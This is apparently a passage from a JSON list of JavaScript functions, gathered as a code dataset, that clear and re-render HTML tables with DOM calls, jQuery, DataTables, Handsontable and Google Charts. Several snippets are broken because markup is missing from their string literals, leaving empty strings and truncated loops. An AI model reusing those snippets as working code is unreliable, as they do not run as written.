tbody.clientWidth;\\n if (scrollBarWidth > 0) {\\n var lastColumn = elem.querySelector('tbody tr:first-child td:last-child');\\n lastColumn.style.width = (parseInt(lastColumn.style.width.replace('px', '')) - scrollBarWidth) + 'px';\\n }\\n $scope.redraw = false;\\n });\\n }\",\n \"updateBody() {\\n this.tableBody.innerHTML = '';\\n\\n if (!this.sortedData.length) {\\n let row = this.buildRow('Nothing found', true);\\n\\n this.tableBody.appendChild(row);\\n }\\n\\n else {\\n for (let i = 0; i < this.sortedData.length; i++) {\\n let row = this.buildRow(this.sortedData[i]);\\n\\n this.tableBody.appendChild(row);\\n }\\n }\\n\\n this.buildStatistics();\\n }\",\n \"table() {\\n this.showtable= ! this.showtable;\\n //workaround - table width is incorect when rendered hidden\\n //render it after 100 ms again, usually after it is shown, thus calculating\\n //correct width\\n if (this.showtable) window.setTimeout(function(that){that.ht2.render()},100,this);\\n }\",\n \"function render() {\\n\\tconsole.log(indicatorData);\\n\\n\\td3.select('table#mipex tbody')\\n\\t\\t.selectAll('tr')\\n\\t\\t.data(indicatorData)\\n\\t\\t.enter()\\n\\t\\t.append('tr')\\n\\t\\t\\t.html(rowTemplate);\\n\\n\\t// Inform parent frame of new height\\n\\tfm.resize()\\n}\",\n \"function redoTableRows() {\\n let d3tbody = d3.select(\\\"tbody\\\");\\n d3tbody.html(\\\"\\\");\\n generateTableBody(tbody, data, dateText, cityText, stateSelected, shapeSelected)\\n}\",\n \"function updateTable() {\\n var rowCount = 5;\\n if(pageId == 'page-screen')\\n rowCount = 8;\\n\\n // Build the new table contents\\n var html = '';\\n for(var i = getGuessesCount() - 1; i >= Math.max(0, getGuessesCount() - rowCount); i--) {\\n html += \\\"\\\";\\n html += \\\"\\\" + (i + 1) + \\\"\\\\n\\\";\\n html += \\\"\\\" + guesses[i].firstName + \\\"\\\";\\n html += \\\"\\\" + guesses[i].weight + \\\" gram\\\";\\n html += \\\"\\\";\\n }\\n\\n // Set the table contents and update it\\n $(\\\"#guess-table > tbody\\\").html(html);\\n $(\\\"#guess-table\\\").table(\\\"refresh\\\");\\n }\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < ufoSightings.length; i++) {\\n // Get get the current sightings object and its fields\\n var sightings = ufoSightings[i];\\n var fields = Object.keys(sightings);\\n // Create a new row in the tbody, set the index to be i + startingIndex\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n // For every field in the sightings object, create a new cell at set its inner text to be the current value at the current sightings field\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = sightings[field];\\n }\\n }\\n}\",\n \"function refresh() {\\n // Clear the table\\n $('tbody').empty();\\n // Insert each row into the table\\n var ind = 0;\\n rows.forEach(function(item){\\n $('tbody').append('' + item.name + '' +\\n item.status + '' + item.wordcount + '' + item.date + '' +\\n item.deadline + '');\\n ind++;\\n });\\n}\",\n \"function updateTable() {\\n $(\\\"#table-body\\\") .empty();\\n for (i = 0; i < trainNames.length; i++) {\\n trainName = trainNames [i];\\n showTrains();\\n };\\n \\n }\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < filteredDataSet.length; i++) {\\n\\n // Get the current object and its fields\\n var data = filteredDataSet[i];\\n var fields = Object.keys(data);\\n\\n // Create a new row in the tbody, set the index to be i + startingIndex\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n\\n // For every field in the table object, create a new cell at set its inner text to be the current value at the current field\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = data[field];\\n }\\n }\\n}\",\n \"function generateTable() {\\n\\n // Only render once\\n if (isTableClean) {\\n disableTableGeneration();\\n return;\\n }\\n\\n psdCalculations = getGridData();\\n\\n // Remove previous table if needed\\n if (psdHandsontable) {\\n psdHandsontable.destroy();\\n }\\n\\n var container = document.getElementById('exampleTable');\\n psdHandsontable = new window.Handsontable(container,\\n {\\n data: psdCalculations,\\n scollV: 'auto',\\n scollH: 'auto',\\n rowHeaders: true,\\n // colHeaders: true \\n colHeaders: [\\n 'Step', 'freq (1/micron)', 'PSD2 (nm^4)', 'RMS DENSITY', 'RMS^2', 'RMSB^2'\\n ],\\n columns: [\\n { data: 'step' },\\n { data: 'freq' },\\n //{ data: 'hidden', readOnly: true }, // Calculation column\\n { data: 'psd2' },\\n { data: 'rmsDensity' },\\n { data: 'rms2' },\\n { data: 'rmsb2' }\\n ]\\n });\\n disableTableGeneration();\\n }\",\n \"function renderUpdatedDogs() {\\n let dogTable = document.querySelector('#table-body');\\n dogTable.innerHTML = '';\\n getAllDogs();\\n}\",\n \"function redrawTable(data) {\\n let tableContent = '';\\n for(let i = 0 ;i ' +\\n ''+'
    '+\\n '' +data.recipes[i].title +''\\n }\\n }\\n tableContent += '';\\n }\\n console.log(tableContent);\\n table.innerHTML = tableContent;\\n}\",\n \"function redrawDebugTable() {\\n let tbody = '';\\n Object.keys(debugTableData).forEach(key => {\\n tbody += '';\\n tbody += '' + key + '';\\n tbody += '' + debugTableData[key].type + '';\\n tbody += '' + debugTableData[key].value + '';\\n tbody += '';\\n });\\n\\n debugTbody.innerHTML = tbody;\\n}\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < sightingData.length; i++) { // Loop through the data object items\\n var sighting = sightingData[i]; // Get each data item object\\n var fields = Object.keys(sighting); // Get the fields in each data item\\n var $row = $tbody.insertRow(i); // Insert a row in the table object\\n for (var j = 0; j < fields.length; j++) { // Add a cell for each field in the data item object and populate its content\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = sighting[field];\\n }\\n }\\n}\",\n \"triggerRedraw() {\\n \\tlet jtabid = this.idFor('jtab');\\n\\t$(jtabid).empty();\\n\\tthis.jsonToTopTable(this, $(jtabid));\\n}\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < AlienData.length; i++) {\\n // Get get the current address object and its fields\\n var Sighting = AlienData[i];\\n var fields = Object.keys(Sighting);\\n // Create a new row in the tbody, set the index to be i + startingIndex\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n // For every field in the address object, create a new cell at set its inner text to be the current value at the current address's field\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = Sighting[field];\\n }\\n }\\n}\",\n \"function renderTable() {\\n $('.request-item').remove();\\n\\n requests.forEach(function writeToTable(request) {\\n $('#request-table').append(request.rowHtml);\\n })\\n}\",\n \"function table_fill_empty() {\\n pagination_reset();\\n $('.crash-table tbody').html(`\\n \\n -\\n -\\n -\\n -\\n `);\\n}\",\n \"function renderTable() {\\n $newDataTable.innerHTML = \\\"\\\";\\n for (var i = 0; i < ufoData.length; i++) {\\n // Get the current ufo sighting and its fields\\n var sighting = ufoData[i];\\n var fields = Object.keys(sighting);\\n // Insert a row into the table at position i\\n var $row = $newDataTable.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n // For every field in the address object, create a new cell \\n // at set its inner text to be the current value at the \\n // current address's field\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = sighting[field];\\n }\\n }\\n}\",\n \"draw() {\\r\\n // IDs Template: _box, _title, _refresh, _popup, _body, _loading\\r\\n // IDs Widget: _table\\r\\n var body = \\\"#\\\"+this.id+\\\"_body\\\"\\r\\n // add table\\r\\n // 0: key\\r\\n // 1: size\\r\\n // 2: start\\r\\n // 3: end\\r\\n // 4: value\\r\\n var table = '\\\\\\r\\n \\\\\\r\\n \\\\\\r\\n \\\\\\r\\n \\\\\\r\\n \\\\\\r\\n
    Key# EntriesOldestNewestLatest Value
    '\\r\\n $(body).html(table)\\r\\n // how to render the timestamp\\r\\n function render_timestamp(data, type, row, meta) {\\r\\n if (type == \\\"display\\\") return gui.date.timestamp_difference(gui.date.now(), data)\\r\\n else return data\\r\\n };\\r\\n // define datatables options\\r\\n var options = {\\r\\n \\\"responsive\\\": true,\\r\\n \\\"dom\\\": \\\"Zlfrtip\\\",\\r\\n \\\"fixedColumns\\\": false,\\r\\n \\\"paging\\\": true,\\r\\n \\\"lengthChange\\\": false,\\r\\n \\\"searching\\\": true,\\r\\n \\\"ordering\\\": true,\\r\\n \\\"info\\\": true,\\r\\n \\\"autoWidth\\\": false,\\r\\n \\\"columnDefs\\\": [ \\r\\n {\\r\\n \\\"targets\\\" : [2, 3],\\r\\n \\\"render\\\": render_timestamp,\\r\\n },\\r\\n {\\r\\n \\\"className\\\": \\\"dt-center\\\",\\r\\n \\\"targets\\\": [1, 2, 3]\\r\\n }\\r\\n ],\\r\\n \\\"language\\\": {\\r\\n \\\"emptyTable\\\": ''\\r\\n }\\r\\n };\\r\\n // create the table\\r\\n $(\\\"#\\\"+this.id+\\\"_table\\\").DataTable(options);\\r\\n $(\\\"#\\\"+this.id+\\\"_table_text\\\").html(' Loading')\\r\\n // ask the database for statistics\\r\\n var message = new Message(gui)\\r\\n message.recipient = \\\"controller/db\\\"\\r\\n message.command = \\\"STATS\\\"\\r\\n this.send(message)\\r\\n }\",\n \"function renderTable(numProcesses, processPrefix, allocationArr,\\n needArr, maxArr, resourcesArr, finished) {\\n document.querySelector('#table').innerHTML = table(numProcesses, processPrefix,\\n allocationArr, needArr, maxArr, resourcesArr, finished)\\n}\",\n \"function RefreshTable() {\\n dc.events.trigger(function () {\\n alldata = tableDimension.top(Infinity);\\n datatable.fnClearTable();\\n datatable.fnAddData(alldata);\\n datatable.fnDraw();\\n });\\n }\",\n \"function updateTable() {\\n\\t// Check if plcs finished loading\\n\\tfor (var i = 0; i < g_plcs.length; ++i) {\\n\\t\\tif (g_plcs[i].err) {\\n\\t\\t\\tmoduleStatus(\\\"Error querying table\\\");\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\t\\tif (g_plcs[i].ready != READY_ALL) return false;\\n\\t}\\n\\n\\t$(\\\"#detail-table-body\\\").html(\\\"\\\");\\n\\n\\tfor (var i = 0; i < g_plcs.length; ++i) {\\n\\t\\tvar row_name = \\\"detail-table-row-\\\" + i;\\n\\t\\t$(\\\"#detail-table-body\\\").append(\\\"\\\");\\n\\n\\t\\t$(\\\"#\\\" + row_name).append(\\\"\\\" + g_plcs[i].name + \\\"\\\");\\n\\n\\t\\tfor (var j = 0; j < 6; ++j)\\n\\t\\t\\t$(\\\"#\\\" + row_name).append(\\\"\\\" + g_plcs[i].ai[j].val + \\\"\\\");\\n\\n\\t\\tfor (var j = 0; j < 6; ++j)\\n\\t\\t\\t$(\\\"#\\\" + row_name).append(\\\"\\\" + g_plcs[i].di[j].val + \\\"\\\");\\n\\n\\t\\tfor (var j = 0; j < 6; ++j) {\\n\\t\\t\\tdo_val = g_plcs[i].do[j].val ? \\\"ON\\\" : \\\"OFF\\\";\\n\\t\\t\\tdo_class = \\\"btn do-button \\\" + (g_plcs[i].do[j].val ? \\\"btn-success\\\" : \\\"btn-secondary\\\");\\n\\t\\t\\tdo_txt = \\\"\\\";\\n\\t\\t\\t$(\\\"#\\\" + row_name).append(\\\"\\\" + do_txt + \\\"\\\");\\n\\t\\t}\\n\\t\\tconf_val = g_plcs[i].confirmation ? \\\"Pend\\\" : \\\"OK\\\";\\n\\t\\tconf_class = \\\"btn \\\" + (g_plcs[i].confirmation ? \\\"btn-warning\\\" : \\\"btn-info\\\")\\n\\t\\t$(\\\"#\\\" + row_name).append(\\\"\\\");\\n\\n\\t\\t$(\\\"#\\\" + row_name).append(\\\"\\\");\\n\\t}\\n\\t$('[data-toggle=\\\"tooltip\\\"]').tooltip({trigger : 'hover'});\\n\\tmoduleStatus(\\\"Table query OK\\\");\\n}\",\n \"function render(data) {\\r\\n\\t\\t\\t\\t\\t\\t$('#slc_Marca').children().remove();\\r\\n\\t\\t\\t\\t\\t\\t$('#slc_TipoVeiculo').children().remove();\\r\\n\\t\\t\\t\\t\\t\\tvar tabela = $('#tableDiv').append(\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t$('
    ').attr(\\\"id\\\", \\\"tabela\\\"));\\r\\n\\t\\t\\t\\t\\t\\tvar tHead = \\\"\\\";\\r\\n\\t\\t\\t\\t\\t\\t$('#tabela').append(tHead);\\r\\n\\t\\t\\t\\t\\t\\tvar rowH = \\\" \\\" + \\\"ID\\\" + \\\"Marca\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t+ \\\"Tipo Veiculo\\\" + \\\"Modelo\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t+ \\\"Status\\\" + \\\"Actions\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t+ \\\"\\\";\\r\\n\\t\\t\\t\\t\\t\\t$('#tableHead').append(rowH);\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t$('#tabela').append(\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t$('').attr(\\\"id\\\", \\\"tabelaBody\\\"));\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t$.each(data, function(index, value) {\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar td = $(\\\"\\\" + \\\"\\\");\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar row1 = $(\\\"\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ value.idModelo + \\\"\\\");\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar row2 = $(\\\"\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ value.idMarca.descMarca\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ \\\"\\\");\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar row3 = $(\\\"\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ value.idTipoV.descTipoV\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ \\\"\\\");\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar row4 = $(\\\"\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ value.descModelo\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ \\\"\\\");\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar row5 = $(\\\"\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ value.statusModelo\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ \\\"\\\");\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// Efetua A Funcao Ao Clicar No\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// Botao\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// btn-update\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar buttonUpdate = $(\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t'')\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t.attr(\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\\"id\\\",\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\\"btn-update-\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ index)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t.click({\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tp1 : this\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}, setInputData);\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar buttonRemove = $(\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t'')\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t.attr(\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\\"id\\\",\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\\"btn-remove-\\\"\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t+ index)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t.click({\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tp1 : this\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}, callRemoveServlet);\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tvar row6 = $(\\\"\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\trow6.append(buttonUpdate);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\trow6.append(buttonRemove);\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\ttd.append(row1);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\ttd.append(row2);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\ttd.append(row3);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\ttd.append(row4);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\ttd.append(row5);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\ttd.append(row6);\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t$('#tabela tbody').append(td);\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t$('#set')\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t.append('');\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t})\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t// Preenche O Select Marca\\r\\n\\t\\t\\t\\t\\t\\tgetMarcas();\\r\\n\\r\\n\\t\\t\\t\\t\\t\\t// Preenche O Select TipoVeiculo\\r\\n\\t\\t\\t\\t\\t\\tgetTiposVeiculos();\\r\\n\\r\\n\\t\\t\\t\\t\\t}\",\n \"function generateTable(){\\n if(!table_data.length)\\n return;\\n //generate first header row with column names\\n var tmpl1='';\\n for(var i=0;i';\\n }\\n tmpl1+=' Add';\\n tmpl1+='';\\n\\n //generate rest of the rows\\n var tmpl2;\\n for(i=0;i';\\n tmpl2 += '
    '+table_data[i][j]+'
    ';\\n }\\n tmpl2 += '';\\n tmpl2+='';\\n tmpl1=tmpl1.concat(tmpl2);\\n }\\n\\n //generate last row with add function\\n tmpl2='';\\n for(var j=0;j {\\n const cell = new TableCell({\\n header: true\\n });\\n\\n this._addResizeHandle(cell, colIndex);\\n\\n // set preferred width\\n if (column.width !== undefined) {\\n cell.width = column.width;\\n }\\n\\n // add sort class to header cell\\n if (column.sortKey && this._sort.key === column.sortKey ||\\n column.sortFn && this._sort.fn === column.sortFn) {\\n cell.class.add(CLASS_SORT_CELL);\\n if (!this._sort.ascending) {\\n cell.class.add(CLASS_SORT_CELL_DESCENDING);\\n }\\n }\\n\\n const label = new Label({\\n text: column.title\\n });\\n // make inline to be able to use text-overflow: ellipsis\\n label.style.display = 'inline';\\n cell.append(label);\\n\\n // sort observers when clicking on header cell\\n cell.on('click', () => this.sortByColumnIndex(colIndex));\\n\\n headRow.append(cell);\\n });\\n\\n this.head.append(headRow);\\n }\\n\\n if (!this._observers) return;\\n\\n this._sortObservers();\\n\\n this._observers.forEach((observer) => {\\n const row = this._createRow(observer);\\n this.body.append(row);\\n });\\n }\",\n \"function _buildTable() {\\n // _displayLoading(true);\\n _addGradeRange();\\n _renderSelects();\\n var table = _setupDataTable(renderTable());\\n renderFeatures();\\n}\",\n \"function refreshTable(domId) {\\n\\n //Remove the current table\\n $('table').remove();\\n var app = quickforms.app;\\n //Append the new table with the new options list\\n var newJson = [];\\n for (var row in quickforms.designer.values) {\\n if (quickforms.designer.values[row][quickforms.designer.lookup + 'Order'] >= 0)\\n newJson.push(quickforms.designer.values[row]);\\n }\\n newJson.sort(function (a, b) {\\n return parseInt(a[quickforms.designer.lookup + 'Order']) - parseInt(b[quickforms.designer.lookup + 'Order']);\\n });\\n displayEditingPage(JSON.stringify(newJson), quickforms.designer.lookup);\\n }\",\n \"function GenerateFullTable() {\\n\\n //debugger;\\n\\n if((Intern_TableDivName === undefined || Intern_TableDivName === null || Intern_TableDivName === \\\"\\\") ||\\n (Intern_TableDivElem === undefined || Intern_TableDivElem === null || Intern_TableDivElem === \\\"\\\"))\\n return;\\n\\n var Intern_TableHtml = '';\\n if (Intern_ArrayOfValues.length !== 0) {\\n Intern_TableHtml = Intern_TableHtml + '';\\n Intern_TableHtml = Intern_TableHtml + '';\\n Intern_TableHtml = Intern_TableHtml + '';\\n if (Intern_TableFieldDispNames === undefined || Intern_TableFieldDispNames === null)\\n Intern_TableFieldDispNames = Intern_TableFieldIDs;\\n $.each(Intern_TableFieldDispNames, function (index, value) {\\n Intern_TableHtml = Intern_TableHtml + '';\\n });\\n if (Setting_IncludeUpDown || Setting_IncludeEdit || Setting_IncludeDelete) {\\n Intern_TableHtml = Intern_TableHtml + '';\\n }\\n Intern_TableHtml = Intern_TableHtml + '';\\n Intern_TableHtml = Intern_TableHtml + '';\\n\\n Intern_TableHtml = Intern_TableHtml + '';\\n Intern_TableHtml = Intern_TableHtml + '';\\n Intern_TableHtml = Intern_TableHtml + '
    ';\\n Intern_TableHtml = Intern_TableHtml + value;\\n Intern_TableHtml = Intern_TableHtml + '';\\n Intern_TableHtml = Intern_TableHtml + Disp_OperationsTitle;\\n Intern_TableHtml = Intern_TableHtml + '
    ';\\n\\n Intern_TableDivElem.html(Intern_TableHtml);\\n\\n $(\\\"#\\\" + Intern_TableDivName + \\\" tbody\\\").html(GenerateTableData());\\n for (var i = 0; i < Intern_ArrayOfValues.length; i++)\\n AddEvents(i);\\n Intern_DictConcatInput = null;\\n }\\n }\",\n \"function updateTable() {\\n\\t_formatDatepicker();\\n\\t_updateTable('table-internal-order', true);\\n\\t_autoFormattingDate(\\\"input.datepicker\\\");\\n}\",\n \"function refreshTable() {\\n\\t// Empty the table body to refresh\\n\\tlet tbody = document.getElementById('tbody');\\n\\ttbody.innerHTML = '';\\n\\n\\t// Loop through todos and add cells.\\n\\tfor (var i = 0; i < todos.length; i++) {\\n\\t\\tlet todo = todos[i];\\n\\t\\taddTodoCell(todo, i+1);\\n\\t}\\n}\",\n \"onRowsRerender() {\\n this.scheduleDraw(true);\\n }\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < filteredrows.length; i++) {\\n // Get get the current address object and its fields\\n var rows = filteredrows[i];\\n var fields = Object.keys(rows);\\n // Create a new row in the tbody, set the index to be i + startingIndex\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n // For every field in the rows object, create a new cell at set its inner text to be the current value at the current row's field\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = rows[field];\\n }\\n }\\n}\",\n \"function redrawTable(id){ \\n clearTable();\\n removeFromList(id);\\n povoateTable(); \\n setupDeleteListener();\\n setfilter();\\n}\",\n \"function renderData() {\\n tableBody.innerHTML = \\\"\\\";\\n for (var i = 0; i < tableData.length; i++) {\\n var data = tableData[i];\\n var rows = Object.keys(data);\\n var input = tableBody.insertRow(i);\\n for (var j = 0; j < rows.length; j++) {\\n var field = rows[j];\\n var cell = input.insertCell(j);\\n cell.innerText = data[field];\\n }\\n }\\n}\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < filteredData.length; i++) {\\n // Get the current object and its fields\\n var data = filteredData[i];\\n var fields = Object.keys(data);\\n // Create a new row in the tbody, set the index to be i + startingIndex\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = data[field];\\n }\\n }\\n}\",\n \"function drawTable(){\\n for (employee of allEmployees){\\n newRow(employee);\\n }\\n}\",\n \"function drawDynamicTable() {\\n try {\\n var tableSortingColumns = [\\n { orderable: false },null, null, null, null, null, null, null,\\n ];\\n var tableFilteringColumns = [\\n { type: \\\"null\\\" },{ type: \\\"text\\\" }, { type: \\\"text\\\" }, { type: \\\"text\\\" }, { type: \\\"text\\\" }, { type: \\\"text\\\" }, { type: \\\"text\\\" }, { type: \\\"text\\\" },\\n ];\\n\\n var tableColumnDefs = [\\n\\n ];\\n //select tblletter.id as 'AutoCodeHide', tblletter.title as 'عنوان الخطاب ',tblletter.details as 'تفاصيل الخطاب', tbldepartmen.name as 'صادر من',to_d.name as 'صادر الي',tblUsers.User_Name as 'الراسل', 1 as ' تعديل /حذف' from tblletter inner join tbldepartmen on tblletter.from_dep=tbldepartmen.id inner join tbldepartmen to_d on to_d.id=tblletter.to_dep inner join tblUsers on tblletter.add_by=tblUsers.id where tblletter.type=2 and ISNUll(tblletter.deleted,0)=0\\n var initialSortingColumn = 0;\\n loadDynamicTable('out_outside_letters', \\\"AutoCodeHide\\\", tableColumnDefs, tableFilteringColumns, tableSortingColumns, initialSortingColumn, \\\"Form\\\");\\n } catch (err) {\\n alert(err);\\n }\\n}\",\n \"function renderTable(data) {\\n var table_data = data.data;\\n var height = data.height;\\n var width = data.width;\\n var table = document.getElementById(\\\"results-\\\" + current_tab);\\n $(\\\".no-table#tab-\\\" + current_tab).hide();\\n table.innerHTML = \\\"\\\";\\n $(\\\"h5\\\").hide();\\n for (var i = 0; i < height; i++) {\\n let row = document.createElement(\\\"tr\\\");\\n for (var j = 0; j < width; j++) {\\n let col;\\n if (i == 0 || j == 0) col = document.createElement(\\\"th\\\");\\n else col = document.createElement(\\\"td\\\");\\n col.appendChild(document.createTextNode(table_data[i][j]));\\n row.appendChild(col);\\n }\\n table.appendChild(row);\\n }\\n var current_date = new Date();\\n $(\\\".date#tab-\\\" + current_tab).text(current_date.toLocaleTimeString());\\n $(\\\"h5\\\").show();\\n}\",\n \"function renderTable() {\\n $tbody.innerHTML = \\\"\\\";\\n for (var i = 0; i < filteredTable.length; i++) {\\n var address = filteredTable[i];\\n var fields = Object.keys(address);\\n var $row = $tbody.insertRow(i);\\n for (var j = 0; j < fields.length; j++) {\\n var field = fields[j];\\n var $cell = $row.insertCell(j);\\n $cell.innerText = address[field];\\n }\\n }\\n}\",\n \"renderAndAdjust() {\\n this.hot.render();\\n\\n // Dirty workaround to prevent scroll height not adjusting to the table height. Needs refactoring in the future.\\n this.hot.view.adjustElementsSize();\\n }\",\n \"function renderTable() {\\n \\n // Delete the list of cities prior to adding new city table data \\n // (necessary to prevent repeat of table data)\\n $(\\\"tbody\\\").empty();\\n\\n // Loop through the array of cities\\n for (var i = 0; i < citiesArray.length; i++) {\\n // Render new table row and table data elements for each city in the array.\\n var tRow = $(\\\"\\\");\\n var tData = $(\\\"\\\");\\n var tSpan = $(\\\"\\\");\\n\\n tSpan.addClass(\\\"city\\\");\\n tData.attr(\\\"data-name\\\", citiesArray[i]);\\n tData.attr(\\\"data-index\\\", i);\\n tSpan.text(citiesArray[i]);\\n\\n let button = $(\\\"
    ';\\n cell5.innerHTML =\\n 'Subtotal: ' +\\n item.price * item.numItems +\\n \\\"\\\";\\n cell6.innerHTML =\\n '

    Remove

    ';\\n }\",\n \"function rerender_branch_table(tree, test_results, annotations, element) {\\n $(element).empty();\\n render_branch_table(tree, test_results, annotations, element);\\n}\",\n \"function drawTable() {\\n let dow_chart_data = new google.visualization.DataTable();\\n dow_chart_data.addColumn('string', 'Δραστηριότητα');\\n dow_chart_data.addColumn('string', 'Ημέρα Περισσότερων Εγγραφών');\\n dow_chart_data.addRow(['IN_VEHICLE', dow_data['IN_VEHICLE']]);\\n dow_chart_data.addRow(['ON_BICYCLE', dow_data['ON_BICYCLE']]);\\n dow_chart_data.addRow(['ON_FOOT', dow_data['ON_FOOT']]);\\n dow_chart_data.addRow(['RUNNING', dow_data['RUNNING']]);\\n dow_chart_data.addRow(['STILL', dow_data['STILL']]);\\n dow_chart_data.addRow(['TILTING', dow_data['TILTING']]);\\n dow_chart_data.addRow(['UNKNOWN', dow_data['UNKNOWN']]);\\n\\n var dow_table = new google.visualization.Table(document.getElementById('dow-table-div'));\\n dow_table.draw(dow_chart_data, {showRowNumber: false, width: '100%', height: '100%'});\\n }\",\n \"function resetTable() {\\n\\n // clear the current data\\n clearTable();\\n \\n // use forEach and Object.values to populate the initial table\\n tableData.forEach((ufoSighting) => {\\n var row = tbody.append(\\\"tr\\\");\\n Object.values(ufoSighting).forEach(value => {\\n var cell = row.append(\\\"td\\\");\\n cell.text(value);\\n cell.attr(\\\"class\\\", \\\"table-style\\\");\\n }); // close second forEach\\n }); // close first forEach\\n}\",\n \"function renderTableData(code, changeCurrent) {\\r\\n const pre = select(`.table-data[data-table-code=\\\"${code}\\\"]`)\\r\\n const tableArray = JSON.parse(pre.textContent)\\r\\n\\r\\n if(!changeCurrent) {\\r\\n currentTable = code\\r\\n }\\r\\n\\r\\n // remove old table content\\r\\n tableBody.textContent = ''\\r\\n\\r\\n tableArray.forEach(obj => {\\r\\n const specieRow 